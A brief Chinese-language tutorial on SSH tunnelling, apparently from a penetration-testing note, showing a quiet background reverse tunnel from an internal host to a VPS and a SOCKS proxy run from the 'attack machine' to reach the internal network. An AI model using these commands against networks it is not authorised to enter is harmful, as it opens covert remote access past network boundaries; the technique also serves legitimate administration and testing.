SSH反向代理穿透内网

需要反向转发和正向代理相结合

一、通过内网机器反向连接VPS

在需要访问的内网主机上执行

ssh -p 22 -qngfNTR 6666:localhost:22 VPS-user@VPS

访问VPS6666端口的通信转发到本地的22端口

二、正向代理

外网主机（攻击机）上执行：

ssh -p 6666 -qngfNTD 6767 内网用户@VPS

这样就可以直接穿透网络，进入到内网，本地机器直接使用代理127.0.0.1:6767便能够直接访问到内网当中